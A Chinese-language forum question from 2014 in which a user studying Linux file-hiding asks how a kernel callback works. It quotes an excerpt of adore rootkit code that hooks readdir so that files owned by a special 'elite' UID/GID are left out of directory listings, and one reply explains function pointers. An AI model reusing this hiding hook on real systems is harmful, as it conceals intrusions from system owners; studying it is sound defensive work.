日期:2014-05-16  浏览次数:20625 次

内核编程遇到回调函数,实在看不明白,哪位高手帮忙看看解释下,跪谢。

小弟近日在研究linux下文件隐藏技术,遇到一处回调函数,实在看不明白,先附上部分源代码如下。readdir_t我在各个内核版本都搜过没有找到其源代码,可以确定是没有函数体的定义的。其实readdir_t和VFS中的file_operations->readdir是一样的,即函数返回值和函数参数一样,file_operations->readdir本身就是一个没有定义函数体的函数指针,实现的功能是读取文件中的目录项。

filldir_t root_filldir = NULL;// typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
struct super_block *root_sb[1024];
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_root_readdir=NULL;


int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;

if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
uid = inode->i_uid;
gid = inode->i_gid;
iput(inode);

/* Is it hidden ? */
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
} else
r = root_filldir(buf, name, nlen, off, ino, x);

return r;
}


int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;

if (!fp || !fp->f_vfsmnt)
return 0;

root_filldir = filldir;
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);//问题在这,如何会调用到adore_root_filldir函数?因为orig_root_readdir是一个readdir_t函数指针,readdir_t指针函数是没有定义函数体的。

return r;
}


------解决方案--------------------
我不是这么认为的。

我觉得更像是在哪里实现了 这么一个函数
int some_function((struct file *, void *, filldir_t)
{ s=filldir_t ;}

之后在某时某地,将 some_function 赋值给 orig_root_readdir 这个变量

之后,如下这样

r = orig_root_readdir(fp, buf, adore_root_filldir);